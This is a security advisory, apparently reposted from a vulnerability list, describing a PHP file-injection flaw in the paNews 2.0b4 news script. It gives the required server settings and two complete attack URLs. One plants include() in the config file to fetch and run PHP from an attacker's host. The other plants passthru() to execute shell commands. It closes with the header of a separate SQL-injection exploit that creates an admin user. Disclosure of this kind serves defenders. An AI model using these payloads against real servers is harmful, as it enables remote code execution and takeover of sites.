"paNews is a news management script to use on your site. Users can use paCode, special code designed to allow the adding of images and font changes in the posts without allowing users to use HTML to post harmful things such as Java scripts and applets. It has several other features making adding entries and controlling it easily."
Vulnerability in administrating code of paNews allows to inject malicious php files to be run on a vulnerable server.
Credit:
The information has been provided by tjomka.
The original article can be found at: nst.e-nex.com
PHP file injection works only with following settings:
1. register_globals=On
2. folder "includes" is writable
Example One: http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=include($nst)
Then: http://victim/panews/includes/config.php?nst=http://your/file.php
Example Two: http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=passthru($nst)
Then: http://victim/panews/includes/config.php?nst=id
Proof of Concept:
Silentium had written another exploit for this vulnerability, The POST + SWL injection to add an admin user on system.
/***************************************************
* paNews v2.0b4 *
* *
* silePNEWSxpl *
* This exploit utilize SQL injection for create *
* a new user with admin privileges on paNews *
* software system. *
* References: *
* packetstormsecurity.org/0503-exploits/panews.txt *
* *
* coded by: Silentium of Anacron Group Italy *
* date: 04/03/2005 *
* e-mail: anacrongroupitaly[at]autistici[dot]org *
* my_home: www.autistici.org/anacron-group-italy *
* this tool is developed under GPL license *
* no(c) .:. copyleft *
***************************************************/